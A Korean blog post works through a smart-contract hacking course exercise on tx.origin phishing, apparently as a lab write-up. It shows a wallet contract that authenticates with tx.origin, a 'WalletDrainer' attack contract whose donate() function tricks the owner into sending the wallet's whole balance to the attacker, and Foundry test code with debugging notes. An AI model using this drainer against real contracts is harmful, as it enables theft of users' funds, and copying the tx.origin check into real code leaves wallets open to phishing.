[SCH] Smart Contract Hacking 10편 - Tx.Origin Phishing

0xDave·2023년 4월 3일
0

Ethereum

목록 보기
102/112
post-thumbnail

Task1


// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.8.13;

/**
 * @title SimpleSmartWallet
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract SimpleSmartWallet {
    address public walletOwner;

    constructor() payable {
        walletOwner = msg.sender;
    }

    function transfer(address payable _to, uint _amount) public {
        require(tx.origin == walletOwner, "Only Owner");

        (bool sent, ) = _to.call{value: _amount}("");
        require(sent, "Failed");
    }
}

attack 컨트랙트를 만들어서 donate() 함수 또는 fallback 함수가 transfer()를 호출할 수 있게 하면 될 것 같다.


컨트랙트 만들기


// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.8.13;

import "./SimpleSmartWallet.sol";

/**
 * @title SimpleSmartWallet
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract WalletDrainer {
    SimpleSmartWallet simpleWallet;
    address attacker;

    constructor(address _simpleWallet) {
        attacker = msg.sender;
        simpleWallet = SimpleSmartWallet(_simpleWallet);
    }

    function donate() external payable{
        simpleWallet.transfer(payable(attacker), 0.1 ether);
    }

    fallback() external payable {
        (bool success, ) = attacker.call{value: address(simpleWallet).balance}("");
        require(success);
    }

}

donate() 함수로 유도해서 0.1이더를 컨트랙트에 받아오면 fallback() 함수가 호출돼서 모든 이더리움을 가져오도록 했다.


테스트코드 작성


contract TestPH1 is Test {
    address deployer;
    address attacker;
    SimpleSmartWallet simpleWallet;
    WalletDrainer walletDrainer;

    function setUp() public {
        deployer = address(1);
        attacker = address(2);

        vm.deal(deployer, 0.1 ether);

        vm.startPrank(deployer);
        simpleWallet = new SimpleSmartWallet();
        vm.deal(address(simpleWallet), 2800 ether);
        vm.stopPrank();

        vm.startPrank(attacker);
        walletDrainer = new WalletDrainer(address(simpleWallet));
        vm.stopPrank();

    }

    function test_attack() public {
        vm.prank(deployer);
        walletDrainer.donate{value: 0.1 ether}();

        assertEq(deployer.balance, 0 ether);
        assertEq(address(walletDrainer).balance, 0.1 ether);
        assertEq(attacker.balance, 2800 ether);
    }

}

이런 식으로 테스트 코드를 작성했었는데 Only Owner 에러가 뜨면서 실패했다.

그럼 그냥 donate()에서 바로 transfer()를 호출하도록 하자.

//1번

    function donate() external payable{
        address(this).call{value: 0.1 ether}("");
        simpleWallet.transfer(payable(attacker), address(simpleWallet).balance);
    }
//2번

    function donate() external payable{
        simpleWallet.transfer(payable(attacker), address(simpleWallet).balance);
    }

1번, 2번 방법으로 해도 계속 같은 에러가 났다.


해결방안


알고보니 foundry로 테스트 할 때 tx.origin을 따로 설정해줘야 했다.


공격 컨트랙트의 donate() 함수를 아래처럼 하고

    function donate() external payable{
        simpleWallet.transfer(payable(attacker), address(simpleWallet).balance);
    }

테스트 코드를 다음과 같이 수정했다.

    function test_attack() public {
        vm.prank(deployer, deployer);
        WalletDrainer(walletDrainer).donate{value: 0.1 ether}();

        assertEq(deployer.balance, 0 ether);
        assertEq(address(walletDrainer).balance, 0.1 ether);
        assertEq(attacker.balance, 2800 ether);
    }

성공!

profile
Just BUIDL :)

0개의 댓글